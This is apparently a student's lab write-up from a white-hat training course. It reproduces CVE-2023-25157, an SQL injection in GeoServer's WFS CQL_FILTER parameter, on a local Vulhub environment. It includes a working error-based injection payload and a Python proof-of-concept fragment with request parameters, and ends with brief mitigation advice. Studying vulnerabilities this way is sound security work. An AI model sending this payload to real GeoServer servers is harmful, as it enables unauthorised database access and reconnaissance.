geoserver CVE-2023-25157
白帽第3期 [30班] 金廷宇
github链接 - https://github.com/custiya/geoserver-CVE-2023-25157
漏洞摘要
- CVE-2023-25157是针对GeoServer这一开源地图数据服务Web应用程序发生的SQLi漏洞
- 发生在GeoServer 2.22.0及以下的部分版本中
- WFS(Web Feature Service)请求中的CQL_FILTER参数存在漏洞
- 如果无需认证即可访问该API,任何人都可以利用
环境配置
- 使用 docker compose up -d 命令运行测试环境
- 可通过 http://your-ip:8080/geoserver 访问页面
- 首先需要发现包含PostGIS数据存储的现有工作空间
- Vulhub的GeoServer实例中已存在PostGIS数据存储
- 工作空间名称: vulhub
- 数据存储名称: pg
- 表名称: example
- 使用的属性: name
poc.py
- 基于上述内容构建的SQL注入语句形式
- 使用request模块将该语句发送到服务器
- strStartsWith(name,'x'') = true
- and 1=(SELECT CAST ((SELECT version()) AS integer))
- version()函数返回PostgreSQL当前版本,类型为字符串
- CAST(... AS integer)强制转换为整数,导致错误
- 服务器将返回错误消息,从而可以测试盲SQL注入
# 대상 URL
url = "http://localhost:8080/geoserver/ows"
# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"
# 파라미터 설정
params = {
"service": "wfs",
"version": "1.0.0",
"request": "GetFeature",
"typeName": "vulhub:example",
"CQL_FILTER": cql_filter
}
结果

总结
- 通过该POC可以判断是否存在SQL注入。攻击者可能通过SQL查询收集系统信息。
- 为防止此类攻击,需要增加用户输入验证。此外,不应直接使用输入的SQL语句,而应将其单独存储后使用。